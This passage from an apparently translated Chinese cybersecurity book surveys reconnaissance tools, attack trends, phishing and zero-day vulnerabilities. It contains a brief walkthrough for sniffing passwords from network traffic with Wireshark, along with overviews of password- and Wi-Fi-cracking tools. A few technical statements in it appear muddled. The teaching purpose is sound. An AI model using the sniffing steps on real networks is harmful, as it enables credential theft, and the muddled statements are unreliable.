这是网络扫描和嗅探中最受尊敬的工具之一。该工具功能强大,可以窃取从网络发送的流量中的认证信息(1)。这实际上很容易做到,按照几个简单的步骤,任何人都能轻松成为黑客。在 Linux、Windows 和 Mac 上,您需要确保一台安装了 Wireshark 的设备(最好是笔记本电脑)连接到网络。需要启动 Wireshark,以便它能够捕获数据包。在一段时间后,可以停止 Wireshark 并开始分析数据。要获取密码,需要过滤捕获的数据,仅显示 POST 数据。这是因为大多数网站使用 POST 将认证信息传输到服务器。它会列出所有的 POST 数据操作。然后,您可以右键点击其中任何一个,选择跟踪 TCP 流的选项。Wireshark 将打开一个窗口,显示用户名和密码。有时,捕获的密码是哈希值,这在网站中很常见。您可以使用其他工具轻松破解哈希值并恢复原始密码。

Wireshark 还可以用于其他功能,如恢复 Wi-Fi 密码。由于它是开源的,社区不断更新其功能,因此将继续添加新特性。它当前的基本功能包括捕获数据包、导入pcap文件、显示数据包的协议信息、以多种格式导出捕获的数据包、根据过滤器对数据包进行着色、提供网络统计信息,以及能够在捕获的数据包中进行搜索。该文件具有先进的功能,使其成为理想的黑客工具。然而,开源社区用它进行白帽黑客攻击,提前发现网络中的漏洞,以防止黑帽黑客利用这些漏洞。

以下是 Wireshark 捕获网络数据包的截图:

Scanrand

这是一个专门为极快但高效的扫描工具。它通过两种方式实现快速速度,超越了大多数其他扫描工具。该工具包含一个同时发送多个查询的过程和一个接收响应并整合它们的过程。这两个过程不进行协商,因此接收过程永远无法预知响应内容——只知道会有响应数据包。然而,工具中集成了一种巧妙的基于哈希的方法,允许你查看从扫描中收到的有效响应。该工具与旧的扫描工具(如 NMap)完全不同,其进步使其在捕获数据包时更加迅速和高效。

Cain 和 Abel

这是一个专门为 Windows 平台设计的最有效的密码破解工具之一。该工具通过字典攻击、暴力破解和密码分析攻击来恢复密码。它还通过监听语音 IP 通话并揭示缓存的密码来从网络中嗅探信息。该工具已经过优化,仅适用于 Microsoft 操作系统。以下是 Cain 和 Abel 工具的截图:

Nessus

这是由 Tenable Network Security 开发并分发的免费扫描工具。它是最好的网络扫描器之一,曾因其出色的白帽漏洞扫描能力获得多个奖项。Nessus 具有多种功能,对进行内部侦察的攻击者非常有用。该工具可以扫描网络并显示有配置错误或缺少补丁的连接设备。它还可以显示使用默认密码、弱密码或根本没有密码的设备。

该工具可以通过启动外部工具来帮助其进行字典攻击,从而恢复某些设备的密码。最后,该工具能够显示网络中的异常流量,这可以用于监控 DDoS 攻击。Nessus 还具备调用外部工具来增强其功能的能力。当它开始扫描网络时,可以调用 NMap 来帮助扫描开放端口,并会自动整合 NMap 收集的数据。Nessus 然后能够利用这些数据继续扫描,并通过脚本命令进一步获取网络信息。以下是 Nessus 显示扫描报告的截图:

Metasploit

这是一个传奇的框架,由多个工具组成,用于扫描和利用网络。由于该工具的广泛功能,许多白帽培训师使用它来向学生传授知识。它还是渗透测试工具,是许多组织首选的软件。到目前为止,该框架已有超过 1500 个漏洞可用于针对浏览器、Android、Microsoft、Linux 和 Solaris 操作系统的攻击,并且还有许多适用于任何平台的漏洞。该工具通过命令行、meterpreter 或动态负载部署其有效载荷。

Metasploit 的优点在于它具备检测和规避网络中可能存在的安全程序的机制。该框架有多个命令可用于嗅探网络信息。它还拥有一些补充工具,可在收集到关于网络漏洞的信息后用于利用这些漏洞。

以下是 Metasploit 的截图:

Aircrack-ng

另一款扫描无线网络的工具是 Aircrack-ng。它专门用于破解受保护的无线网络密码。该工具功能强大,拥有能够破解 WEP、WPA 和 WPA2 加密的算法(1)。它的命令非常简单,即使是新手也能轻松破解 WEP 加密的网络。该工具的潜力来自于它结合了 FMS、Korek 和 PTW 攻击。这些攻击针对用于加密密码的算法,成功率极高。

FMS 通常用于破解 RC4 加密的密码。WEP 使用 Korek 攻击。WPA、WPA2 和 WEP 都会使用 PTW 攻击 15。该工具非常彻底,几乎总是能成功进入使用弱密码的网络。

以下是 Aircrack-ng 的截图:

Wardriving

这是一种专门用于调查无线网络的内部侦察技术,通常通过汽车进行操作。它主要针对的是未加密的 Wi-Fi 网络。有一些工具是为“汽车间谍”(wardriving)而设计的,最常见的两个是 Network Stumbler 和 Mini Stumbler。Network Stumbler 是基于 Windows 的,它会记录未加密无线网络的 SSID,然后使用 GPS 卫星记录该无线网络的确切位置。这些数据被用来创建一张地图,供其他汽车间谍使用,帮助他们找到未加密或安全性不足的无线网络。然后,他们可以利用这些网络及其设备,因为进入是免费的。

Mini Stumbler 是一款相关工具,但它被设计为在平板电脑和智能手机上运行。这使得汽车间谍在识别或利用网络时看起来不那么可疑。该工具的功能只是寻找一个未加密的网络并将其记录到在线数据库中。汽车间谍随后可以回过头来,使用简化的已识别网络地图来利用这些网络。至于 Linux,存在一个名为 Kismet 的工具,也可以用于汽车间谍活动。

据说这个工具非常强大,它列出了未加密网络及其客户端的详细信息,如 BSSID、信号强度和 IP 地址。它还可以在地图上列出已识别的网络,允许攻击者返回并利用这些已知信息攻击网络。该工具主要嗅探 Wi-Fi 网络的 802.11 第二层流量,并使用已安装机器上的任何 Wi-Fi 适配器(1)。

侦察章节总结

在侦察的两个阶段结束时,攻击者将获得足够的信息来决定是否继续或取消网络攻击。通过外部侦察,他们将了解用户的行为,并将其用于不利于组织的目的。目标只是找到某种形式的漏洞,攻击者可以利用这些漏洞进入组织的网络或系统。而内部侦察则使攻击者能够更深入了解目标网络。一些讨论过的工具非常强大,提供的信息多到可以认为是网络设计者自己泄露的。攻击者通过这些信息了解了他们可以在组织的网络或系统中利用的漏洞。在这个阶段结束时,攻击者将能够从两个方面攻击组织:一是从用户方面,二是从网络的漏洞方面。

参考文献

  1. M. de Paula, One Man's Trash Is... Dumpster-diving for disk drives raises eyebrows, U.S. Banker, vol. 114, (6), pp. 12, 2004. Available: search.proquest.com/docview/200721625.

  2. J. Brodkin, 谷歌粉碎并切割旧硬盘以防止数据泄漏, 网络世界, 2017. [在线]. 可获取: www.networkworld.com/article/2202487/data-center/google-crushes--shreds-old-hard-drives-to-prevent-data-leakage.html. [访问时间:2017 年 7 月 19 日].

  3. Brandom, 俄罗斯黑客通过恶意软件感染的 Twitter 信息针对五角大楼员工, The Verge, 2017. [在线]. 可获取: www.theverge.com/2017/5/18/15658300/russia-hacking-twitter-bots-pentagon-putin-election. [访问时间:2017 年 7 月 19 日].

  4. A. Swanson, 身份盗窃,第一行, 收集者, 第 73 卷, (12), 第 18-22 页,24-26 页, 2008. 可获取: search.proquest.com/docview/223219430.

  5. P. Gupta 和 R. Mata-Toledo, 网络犯罪:伪装犯罪, 信息系统与运营管理杂志, 第 1-10 页, 2016. 可获取: search.proquest.com/docview/1800153259.

  6. S. Gold, 今天的社会工程学:心理学、策略与技巧, 网络安全, 第 2010 卷, (11), 第 11-14 页, 2010. 可获取: search.proquest.com/docview/787399306?accountid=45049. DOI: dx.doi.org/10.1016/S1353-4858(10)70135-5.

  7. T. Anderson, 预设身份:你需要知道的事项, 安全管理, 第 54 卷, (6), 第 64 页, 2010. 可获取: search.proquest.com/docview/504743883.

  8. B. Harrison, E. Svetieva 和 A. Vishwanath, 个人处理钓鱼邮件, 在线信息评论, 第 40 卷, (2), 第 265-281 页, 2016. 可获取: search.proquest.com/docview/1776786039.

  9. 2014 年十大钓鱼攻击 - PhishMe, PhishMe, 2017. [在线]. 可获取: phishme.com/top-10-phishing-attacks-2014/. [访问时间:2017 年 7 月 19 日].

  10. W. Amir, 黑客通过“雅虎账户确认”钓鱼邮件攻击用户, HackRead, 2016. [在线]. 可获取: www.hackread.com/hackers-target-users-with-yahoo-account-confirmation-phishing-email/. [访问时间:2017 年 8 月 8 日].

  11. E. C. Dooley, 电话欺诈袭击本地:被称为“语音钓鱼”,该计划通过电话诱使人们泄露个人信息, McClatchy - 论坛商业新闻, 2008. 可获取: search.proquest.com/docview/464531113.

  12. M. Hamizi, 《社会工程学与内部威胁》, Slideshare.net, 2017 年. [在线]. 可用链接: www.slideshare.net/pdawackomct/7-social-engineering-and-insider-threats. [访问时间: 2017 年 8 月 8 日].

  13. M. Hypponen, 《为互联网欺诈战争而征兵》, CIO Canada, 第 14 卷, (10), 第 1 页, 2006 年. 可用链接: search.proquest.com/docview/217426610.

  14. R. Duey, 《能源行业是网络罪犯的主要目标》, Refinery Tracker, 第 6 卷, (4), 第 1-2 页, 2014 年. 可用链接: search.proquest.com/docview/1530210690.

  15. Joshua J.S. Chang, 《互联网预付款诈骗分析》, Journal of Financial Crime, 第 15 卷, (1), 第 71-81 页, 2008 年. 可用链接: search.proquest.com/docview/235986237?accountid=45049. DOI: dx.doi.org/10.1108/1359079081084171.

  16. 《数据包嗅探器 - SecTools 网络安全工具排名》, Sectools.org, 2017 年. [在线]. 可用链接: sectools.org/tag/sniffers/. [访问时间: 2017 年 7 月 19 日].

  17. C. Constantakis, 《在网络操作中保障访问 - 简化运营商网络安全管理的新兴工具》, Information Systems Security, 第 16 卷, (1), 第 42-46 页, 2007 年. 可用链接: search.proquest.com/docview/229620046.

  18. C. Peikari 和 S. Fogie, 《无线安全最大化》, Flylib.com, 2017 年. [在线]. 可用链接: flylib.com/books/en/4.234.1.86/1/. [访问时间: 2017 年 8 月 8 日].

  19. 《Nmap: 网络映射器 - 免费安全扫描器》, Nmap.org, 2017 年. [在线]. 可用链接: nmap.org/. [访问时间: 2017 年 7 月 20 日].

  20. 《使用 Wireshark 分析数据包捕获文件》, Samsclass.info, 2017 年. [在线]. 可用链接: samsclass.info/106/proj13/p3_Wireshark_pcap_file.htm. [访问时间: 2017 年 8 月 8 日].

  21. 《Point Blank Security - Wardriving 工具,无线与 802.11 工具。(aerosol, aircrack, airsnarf, airtraf, netstumbler, ministumbler, kismet 等),Pointblanksecurity.com, 2017 年. [在线]. 可用链接: pointblanksecurity.com/wardriving-tools.php. [访问时间: 2017 年 7 月 19 日].

  22. 《Nessus 5 在 Ubuntu 12.04 上的安装与简评》, Hacker Target, 2017 年. [在线]. 可用链接: hackertarget.com/nessus-5-on-ubuntu-12-04-install-and-mini-review/. [访问时间: 2017 年 8 月 8 日].

  23. Metasploit Unleashed, Offensive-security.com, 2017. [在线]. 可访问:www.offensive-security.com/metasploit-unleashed/msfvenom/. [访问日期:2017 年 7 月 21 日]。

  24. 数据包收集和 WEP 加密,对抗和防御无线网络攻击 - 4, Ferruh.mavituna.com, 2017. [在线]. 可访问:ferruh.mavituna.com/paket-toplama-ve-wep-sifresini-kirma-kablosuz-aglara-saldiri-defans-4-oku/. [访问日期:2017 年 7 月 21 日]。

摘要

本章深入探讨了网络攻击中的侦察阶段。它讨论了外部侦察,并揭示了攻击者获取有关组织网络信息的方式。它展示了攻击者如何轻松地妥协人员并引导他们泄露敏感信息。它详细讨论了社会工程,这是当今最令人恐惧的侦察攻击类型之一。本章还介绍了用于内部侦察的工具。它广泛地介绍了可以扫描网络的工具,以及可以用于破解无线网络的工具。

在下一章中,将深入讨论黑客如何利用从这个阶段获取的信息来妥协系统的方法。

第五章:攻击系统

上一章让你对攻击的前兆有了初步了解。它讨论了用于收集关于目标信息的工具和技术,以便攻击可以被规划和执行。它还涉及了外部和内部侦察技术。本章将讨论在侦察阶段收集目标信息后,实际攻击是如何进行的。它将讨论黑客在选择攻击工具、技术和目标时的明显趋势。它还将讨论如何设计网络钓鱼攻击以执行实际攻击,零日漏洞的利用,以及黑客如何发现这些漏洞的方法。最后,本章将详细讨论如何逐步进行计算机、服务器和网站攻击。

话题大纲如下:

  • 分析当前趋势

  • 网络钓鱼

  • 利用漏洞

  • 零日漏洞

  • 执行攻陷系统的步骤

    • 部署有效载荷

    • 攻击操作系统

    • 攻击远程系统

    • 攻击基于网页的系统

分析当前趋势

随着时间的推移,黑客已经向网络安全专家证明,他们的攻击变得更加持久、富有创意并且日益复杂。他们学会了如何适应 IT 环境的变化,以便在发起攻击时始终保持有效。尽管没有摩尔定律,或者在网络攻击的背景下没有类似的规律,但可以说,黑客技术每年都在变得更加复杂。在过去的几年里,关于首选攻击方式和执行模式有了一些明显的趋势。这些趋势包括:

勒索攻击

之前,在大多数情况下,黑客通过出售企业被窃取的数据赚取收入。然而,在过去三年中,黑客们开始使用另一种策略:直接从受害者那里勒索钱财。他们可能会将计算机文件作为人质,或者威胁公开泄露关于受害者的有害信息。在这两种情况下,他们都要求在某个截止日期前支付赎金。最著名的勒索尝试之一是 2017 年 5 月爆发的 WannaCry 勒索病毒。WannaCry 勒索病毒感染了 150 多个国家的数十万台计算机。从俄罗斯到美国,整个组织在用户被锁定加密数据后陷入停顿。勒索病毒要求受害者在 72 小时内支付 300 美元到一个比特币地址,否则赎金将翻倍。如果未在 7 天内付款,还会有严厉的警告,文件将被永久锁定。

据报道,由于其代码中包含了一个“杀死开关”,WannaCry 勒索病毒仅赚取了 50,000 美元。然而,它有潜在的巨大破坏力。专家表示,如果代码中没有“杀死开关”,该勒索病毒可能至今仍在传播,或者已经导致许多计算机被感染。在 WannaCry 得到缓解后不久,一种新的勒索病毒被报告出现。该勒索病毒袭击了乌克兰的计算机,受影响的数量据报道在几万台左右。俄罗斯也受到影响,用于监控切尔诺贝利核电站的计算机被攻击,导致现场工作人员不得不转而使用非计算机化的监控方式,例如观察。一些美国和澳大利亚的公司也受到了影响。

在这些国际事件发生之前,已经有不同公司出现了本地和孤立的勒索病毒事件。除了勒索病毒外,黑客还通过威胁攻击网站进行勒索。Ashley Madison 事件就是这一类型勒索的一个典型例子。在勒索未成功后,黑客曝光了数百万人的用户数据。网站的所有者没有认真对待黑客的威胁,因此没有支付赎金,也没有按照要求关闭网站。黑客在公开发布注册在该网站上的用户详情后,实际履行了他们的威胁。一些用户使用工作信息注册,例如工作邮箱。7 月,公司确认已提出支付 1100 万美元,以赔偿 3600 万用户的数据泄露。2015 年,阿联酋一家名为 Sharjah 的银行也面临了类似的勒索案件。黑客将用户数据作为勒索目标,要求银行支付 300 万美元。黑客在数小时后定期在 Twitter 上发布一些用户数据。银行也淡化了这些威胁,甚至让 Twitter 封锁了他所用的账户。然而,这一暂时的缓解很快被打破,黑客创建了一个新账户,并出于报复发布了包含账户持有者个人信息、交易记录以及他们与之交易的实体细节的用户数据。黑客甚至通过短信联系了一些用户。

这些事件表明勒索攻击正在上升,并且已成为黑客的首选手段。黑客通过入侵系统,目标是尽可能多地复制数据,然后成功将其勒索赎金,金额巨大。从后勤角度来看,这被认为比将盗取的数据转售给第三方更简单。黑客还能够通过谈判获取更多赎金,因为他们所持有的数据对数据所有者的价值高于对第三方的价值。像勒索病毒这样的勒索攻击也变得更加有效,因为几乎没有解密的解决办法,除非支付赎金。

数据篡改攻击

黑客入侵系统的另一个明显趋势是通过操控数据而不是删除或释放数据。这是因为这种攻击破坏了数据的完整性。没有什么比让目标不再信任自己数据的完整性更能给其带来痛苦的了。数据操控有时可能非常简单,仅改变一个值,但其后果可能深远。数据操控通常很难被检测到,黑客甚至可能操控备份存储中的数据,确保无法恢复。在一个真实的案例中,已知中国间谍曾攻击美国防承包商的网络窃取蓝图。然而,(22)人们担心他们可能还操控了承包商使用的数据。这可能反过来破坏美国供应的武器的完整性,或者改变它们的运作方式,从而使第三方也能拥有一定的控制权。

数据操控被认为是网络犯罪的下一个阶段,预计未来会有更多此类案件。美国各行业被认为尚未为这种攻击做好准备。网络安全专家已警告即将到来的医疗、金融和政府数据操控攻击的威胁。这是因为黑客之前曾经,并且仍然能够,从各行业和政府机构窃取数据,包括联邦调查局。若这些攻击稍有升级,将对所有组织造成更大后果。例如,对于像银行这样的机构,数据操控可能会带来灾难性后果。可以想象,黑客能突破银行系统,访问数据库并进行更改,然后再对银行的备份存储实施相同的更改。听起来可能牵强,但在内部威胁的情况下,这很容易发生。如果黑客能够操控实际数据库和备份数据库,以显示不同的客户余额值,后果将是混乱的。提款可能会被暂停,银行可能需要数月甚至数年才能确定实际的客户余额。

这些就是黑客未来将关注的攻击类型。这些攻击不仅会给用户带来痛苦,还将使黑客能够要求更多的钱来恢复数据的正确状态。对他们来说,许多组织并没有足够重视自己数据库的安全性,这使得他们的任务更加容易。数据操控攻击还可能被用来向大众提供虚假信息。这是上市公司应当关注的问题。一个好的例子是黑客曾成功入侵《美联社》官方推特账户,并发布一条新闻,称道琼斯指数下跌了 150 点。其影响是道琼斯实际缩水了约 1360 亿美元。如前所述,这是一种可以影响任何公司的攻击,并且损害其利润。

许多人,特别是竞争对手,有动机通过任何可能的方式打击其他公司。大多数企业在保护数据完整性方面的准备工作不足,令人非常担忧。大多数组织依赖自动备份,但并未采取额外步骤确保存储的数据未被篡改。这种小小的懒惰行为很容易被黑客利用。预测表明,除非组织重视数据完整性,否则数据篡改攻击将迅速增加。

物联网设备攻击

这是一项新兴且快速增长的技术,黑客正瞄准各种物联网IoT)设备,从智能家电到婴儿监视器。物联网将看到更多连接的汽车、传感器、医疗设备、照明、房屋、电网以及监控摄像头等设备的增加。自物联网设备在市场广泛传播以来,已经出现了一些攻击事件。在大多数事件中,攻击的目标是控制由这些设备组成的大型网络,以执行更大规模的攻击。CCTV 监控摄像头和物联网灯光的网络曾被用来对银行甚至学校发起分布式拒绝服务攻击DDoS)。

黑客正在利用这些设备的大量存在,集中精力生成大量非法流量,足以瘫痪提供在线服务的组织的服务器。这些攻击将淘汰由无害用户计算机组成的僵尸网络。原因在于物联网设备更容易被访问,且数量庞大,且保护不足。专家警告称,大多数物联网设备并不安全,主要的责任归咎于制造商。在急于从这一新技术中获利的过程中,许多物联网产品制造商并未优先考虑设备的安全性。而另一方面,用户往往懒于管理,专家表示,大多数用户仍然保持物联网设备的默认安全设置。随着世界向通过物联网设备实现许多任务自动化的方向发展,网络攻击者将有许多“棋子”可以操作,这意味着与物联网相关的攻击可能会迅速增加。

后门

2016 年,领先的网络设备制造商之一,Juniper Networks,发现其部分防火墙的固件中存在黑客安装的后门。这些后门使得黑客能够解密通过防火墙流动的流量。这显然意味着黑客想要渗透那些购买了该公司防火墙的组织。Juniper Networks 表示,这种攻击只有具备足够资源来处理进出多个网络的流量的政府机构才能实现。国家安全局NSA)成为焦点,因为这个后门与另一个也被归因于该机构的后门相似。尽管目前还不清楚到底是谁真正负责了这个后门,但这一事件揭示了一个巨大的威胁。

黑客似乎开始采用使用后门的方式。这是通过破坏提供网络安全产品的供应链中的一家公司来实现的。在讨论的事件中,后门被植入到制造商的场所,因此任何购买了该厂商防火墙的组织都被黑客渗透。还有其他事件表明,后门通过嵌入在软件中的方式进行传播。那些在自己网站上销售合法软件的公司也成为了黑客的目标。黑客通过在合法软件中插入代码来创建后门,使得后门更难被发现。这是黑客在网络安全产品不断发展的背景下所做的一种适应。由于这些类型的后门难以发现,因此预计它们将在不久的将来被黑客广泛使用。

移动设备攻击

根据一家领先的网络安全公司——赛门铁克(Symantec)的说法,针对移动设备的恶意活动呈逐渐增加的趋势。最常被攻击的操作系统OS)是安卓,因为它至今拥有最多的用户。然而,安卓操作系统在其架构中做出了多个安全改进,这使得黑客更难感染运行该系统的设备。该网络安全公司表示,在已安装的安卓设备总数中,仅在 2016 年,它就阻止了大约 1800 万次攻击。这是 2015 年阻止的攻击次数的两倍,2015 年仅报告了 900 万次攻击尝试。该安全公司还报告说,移动恶意软件的增长有所上升。人们认为这些恶意软件将在未来变得更加普遍。它指出的恶意软件包括生成虚假点击广告的恶意软件和那些将勒索病毒下载到手机上的恶意软件。

一种特殊的恶意软件曾经通过受害者手机发送高级收费短信,从而为其制造者创造了收入。此外,还有恶意软件被用来窃取受害者设备上的个人信息。由于手机设备的攻击预计每年都在翻倍,赛门铁克可能在其 2017 年报告中报告超过 3000 万次的攻击尝试。手机攻击的增加归因于用户对智能手机的保护程度较低。虽然人们愿意确保他们的计算机上运行着杀毒程序,但大多数智能手机用户对黑客可能对其设备发动的攻击并不关心。智能手机有浏览器和支持网页的应用程序,这些程序容易受到脚本攻击,而且还容易通过中间人攻击被利用。此外,新的攻击形式不断涌现;2017 年 9 月,发现了多个零日漏洞。其中之一是 BlueBorne,它可以接管任何启用蓝牙的设备并将其感染恶意软件。

攻击日常设备

黑客们越来越关注企业网络中一些不太显眼的目标,这些目标在其他人看来似乎无害,因此并未受到任何形式的安全保护。这些设备通常是外设,如打印机和扫描仪,尤其是那些为了共享目的被分配了 IP 地址的设备。黑客们一直在攻击这些设备,特别是打印机,因为现代打印机都内建了内存功能,且只有基本的安全功能。最常见的安全功能包括密码认证机制。然而,这些基本的安全措施不足以阻止有动机的黑客。黑客们通过窃取用户发送的敏感数据来进行企业间谍活动。打印机也曾被用作进入本应安全的网络的切入点。黑客可以通过攻击一个未加密的打印机轻松入侵网络,而不必采用更为复杂的方式,像是突破网络中的计算机或服务器。

在维基解密最近的一次震惊曝光中,声称美国国家安全局(NSA)一直在攻击三星智能电视。一个名为“Weeping Angel”的漏洞被泄露出来,并被发现利用三星智能电视始终开启的语音命令系统来窃听房间内的对话,并将这些对话记录发送到中央情报局CIA)的服务器。这引起了对三星和中央情报局的批评。用户们现在开始抱怨三星的语音命令功能,因为它使得任何人都可能利用这一功能窃听他们的对话。一个名为“Shadow Brokers”的黑客团体也开始泄露 NSA 的漏洞,其他黑客正在利用这些漏洞制作危险的恶意软件。这个团体可能很快会公开针对三星电视的漏洞,而这可能导致网络攻击者开始攻击类似的使用语音命令的设备。

黑客针对家庭设备的攻击风险也在增加,前提是这些设备连接到了互联网。这是为了通过使用非计算机设备来扩展僵尸网络。非计算设备更容易被黑客攻破并被控制。大多数用户不注意,仍然使用设备的默认配置,且保留了厂商提供的密码。黑客入侵此类设备的趋势正在增长,攻击者能够接管成千上万的设备,并将其纳入僵尸网络。

攻击云端

目前增长最快的技术之一就是云计算。这是因为云具有无与伦比的灵活性、可访问性和容量。然而,网络安全专家一直警告称,云计算并不安全,而越来越多的针对云的攻击事件使这一观点得到了进一步验证。云计算的一个重大漏洞是:所有内容都需要共享。个人和组织必须共享存储空间、CPU 核心和网络接口。因此,黑客只需要突破云服务商为了防止用户互相访问数据而设定的边界。由于硬件由服务商拥有,他们有办法绕过这些边界。这正是黑客们所依赖的,借此进入云端的后台,那里存放着所有数据。各个组织确保其存储在云中的数据安全的能力是有限的。云的安全环境在很大程度上取决于服务商。虽然各个组织可能能够为其本地服务器提供坚不可摧的安全性,但无法将同样的安全措施扩展到云端。将网络安全交给第三方后,可能会产生一些风险。服务商可能不会对客户的数据提供如此全面的安全保障。云计算还涉及与他人共享平台,但云用户仅能获得有限的访问控制。安全性主要由服务商负责。

有许多其他原因使得网络安全专家担心云计算不安全。在过去的两年里,云供应商和使用云的公司遭到攻击的事件数量有所增加。Target 就是其中一个遭遇云攻击的组织之一。通过钓鱼邮件,黑客获得了用于该组织云服务器的凭证。一旦认证通过,他们便能够窃取多达 7000 万客户的信用卡信息。据称,该组织曾多次收到关于此类攻击可能性的警告,但这些警告被忽视了。2014 年,在 Target 事件发生一年后,Home Depot 也陷入了类似境地,黑客成功窃取了约 5600 万张信用卡的详细信息,并泄露了超过 5000 万条客户电子邮件。这些黑客在组织的销售点系统中使用了恶意软件。他们收集了足够的信息,使其能够访问该组织的云,从而开始窃取数据。索尼影业也遭到黑客攻击,攻击者从该组织的云服务器上获取了员工信息、财务细节、敏感电子邮件,甚至未发布的电影。2015 年,黑客成功访问了超过 10 万个来自美国国税局IRS)的账户信息。这些信息包括社会安全号码、出生日期和个人的实际地址。上述信息是从 IRS 的云服务器中被盗取的。

还有许多其他的黑客攻击事件,黑客从云平台盗取了大量数据。尽管将云计算妖魔化是不公平的,但显然许多组织尚未准备好采纳云计算。在讨论的这些攻击中,云并不是直接的攻击目标:黑客必须入侵组织内的某个用户或系统。与组织的服务器不同,个人很难知道是否有入侵者在非法访问云中的数据。尽管对于云计算所带来的威胁,许多组织的准备工作仍然不够,但他们仍在不断采用云技术。大量敏感数据被置于云平台中,面临风险。因此,黑客决定将重点放在这种易于访问的数据上,一旦认证通过,便可轻松进入云端。因此,越来越多的事件被报告,组织在云端存储的数据正被黑客窃取。

另一个关于云计算的重要事实是云中存在的身份,以及这一身份如何成为攻击的目标。在《微软安全情报报告》第 22 卷中,该报告分析了 2017 年 1 月至 3 月的数据,报告揭示,从 2016 年第一季度到 2017 年第一季度,基于云的微软账户遭受的网络攻击增加了 300%。

接下来的部分将讨论黑客用来破坏系统的实际方法。将讨论钓鱼攻击是如何被设计出来的,不仅仅是为了收集数据,而是为了破坏系统。还将讨论零日漏洞以及黑客如何发现这些漏洞。然后,它将深入探讨计算机和基于 Web 的系统如何使用不同的技术和工具。

钓鱼攻击

上一章讨论了钓鱼攻击作为一种外部侦察技术,用于从组织中的用户获取数据。它被归类为社会工程学侦察方法。然而,钓鱼攻击可以有两种方式:它既可以是攻击的前奏,也可以作为一次独立的攻击。作为侦察攻击,黑客主要感兴趣的是从用户处获取信息。如前所述,他们可能伪装成可信的第三方组织,比如银行,简单地诱使用户泄露机密信息。他们还可能尝试利用用户的贪婪、情感、恐惧、痴迷和粗心大意。但当钓鱼攻击作为实际攻击来破坏系统时,钓鱼邮件中会携带一些恶意负载。黑客可能会在邮件中使用附件或链接来破坏用户的计算机。当攻击通过附件进行时,用户可能会被诱使下载一个附加文件,而这个文件最终可能是恶意软件。

有时,附加的文件可能是合法的 Word 或 PDF 文件,看起来似乎没有危害。然而,这些文件可能也包含恶意代码,且在用户打开时可能会执行。黑客们也很狡猾,可能会创建一个恶意网站,并将链接插入到钓鱼邮件中。例如,用户可能会被告知他们的在线银行账户发生了安全漏洞,然后通过某个链接去更改密码。该链接可能会将用户引导至一个仿制网站,用户在该网站上填写的所有信息都会被窃取。邮件中可能会有一个链接,首先将用户引导至一个恶意网站,安装恶意软件,然后几乎立即将其重定向至真正的网站。在所有这些情况下,认证信息被窃取后,黑客将用其进行欺诈性转账或盗取文件。

一种日益流行的技术是使用社交媒体通知消息,诱使用户点击链接。接下来的示例似乎是来自 Facebook 的一条通知消息,告诉用户他错过了一些活动。此时,用户可能会感到诱惑,点击该超链接:

在这种特定情况下,指向 1 条未读消息的超链接将用户重定向到一个恶意网址。我们怎么知道它是恶意的?验证网址的一种快速方法是访问 www.virustotal.com,在该网站上,你可以粘贴网址,并查看类似下面所示的结果,这显示了该超链接中网址的检测结果。然而,这并不是一种万无一失的方法,因为黑客可以使用像 Shelter 这样的工具来验证他们的钓鱼资源:

利用漏洞

黑客们已知会花时间研究目标使用的系统,以识别其中的漏洞。例如,维基解密曾多次表示,美国国家安全局(NSA)也在做同样的事情,至今存在一个关于计算设备、常用软件系统甚至日常设备的漏洞数据库。他们存储的漏洞已被一个名为“影子经纪人”的黑客组织披露,后者定期泄露该机构持有的一些漏洞。此前泄露的一些漏洞已经被黑帽黑客用来创建强大的恶意软件,如 WannaCry。总而言之,黑客组织和许多其他政府机构正在研究软件系统,以发现可利用的漏洞。

漏洞的利用发生在黑客利用软件系统中的漏洞时;这些漏洞可能存在于操作系统、内核或基于 Web 的系统中。这些漏洞为黑客提供了可以执行恶意操作的缺口。可能是身份验证代码中的错误、账户管理系统中的漏洞,或开发者未预见到的其他错误。软件系统开发人员会不断向用户提供更新和升级,以应对系统中观察到或报告的漏洞。这被称为补丁管理,是许多专注于系统开发的公司采用的标准程序。

零日

如前所述,许多软件开发公司拥有严格的补丁管理,因此当发现漏洞时,他们会及时更新软件。这使得针对已被开发者修复的漏洞的黑客攻击变得困难。因此,作为应对措施,黑客们发现了零日攻击。零日攻击使用先进的漏洞发现工具和技术,寻找软件开发者尚未发现的漏洞。一些黑客用来寻找零日漏洞的常用工具和技术如下。

模糊测试

这涉及到黑客通过重建一个系统来尝试寻找漏洞。通过模糊测试,黑客可以确定系统开发者必须考虑的所有安全防范措施,以及在开发系统时需要修复的漏洞类型。攻击者还可以更容易地创建一个可以成功攻击目标系统模块的漏洞。这个过程是有效的,因为黑客可以全面了解系统的工作原理,以及哪里和如何被攻破。然而,这通常太繁琐,尤其是在处理大型程序时。

源代码分析

这适用于公开源代码或通过 BSD/GNU 许可证发布开源的系统。一个精通系统编程语言的黑客可能能够在源代码中识别出漏洞。这种方法比模糊测试更简单、更快捷。但它的成功率较低,因为仅仅通过查看代码并不容易准确发现错误。

另一种方法是使用特定的工具来识别代码中的漏洞,Checkmarx (www.checkmarx.com) 就是一个例子。Checkmarx 可以扫描代码,并快速识别、分类并建议应对措施来修复代码中的漏洞。

下图显示了 IDA PRO 工具的截图。在截图中,该工具已经识别出代码中的 25 个 SQL 注入漏洞和 2 个存储型 XSS 漏洞:

如果你无法访问源代码,仍然可以通过使用反向工程分析工具(如 IDA PRO (www.hex-rays.com))来获取一些相关信息:

在这个例子中,IDA Pro 正在反汇编一个名为 evil.exe 的程序,进一步分析这些反汇编代码可以揭示更多关于该程序正在做什么的细节。

零日漏洞类型

毫无疑问,防范零日漏洞攻击是蓝队日常操作中最具挑战性的方面之一。然而,如果你知道攻击行为,而不是攻击的工作原理,这有助于你识别模式,并可能采取行动保护系统。接下来的部分将为你提供更多关于不同类型零日漏洞的详细信息。

缓冲区溢出

缓冲区溢出是由系统代码中的不正确逻辑引起的。黑客会识别系统中可以被利用的缓冲区溢出点。他们通过指示系统将数据写入缓冲区内存,但不遵循缓冲区的内存限制来执行攻击。系统最终会将数据写入超出可接受限制的区域,从而溢出到内存的其他部分。这种类型的攻击的主要目的是使系统以可控的方式崩溃。由于攻击者很容易在程序中识别出可能发生溢出的区域,因此这是一种常见的零日漏洞攻击。

攻击者还可以利用未修补系统中现有的缓冲区溢出漏洞,例如 CVE-2010-3939,解决了 Windows Server 2008 R2 中内核模式驱动程序win32k.sys模块中的缓冲区溢出漏洞。

结构化异常处理覆盖

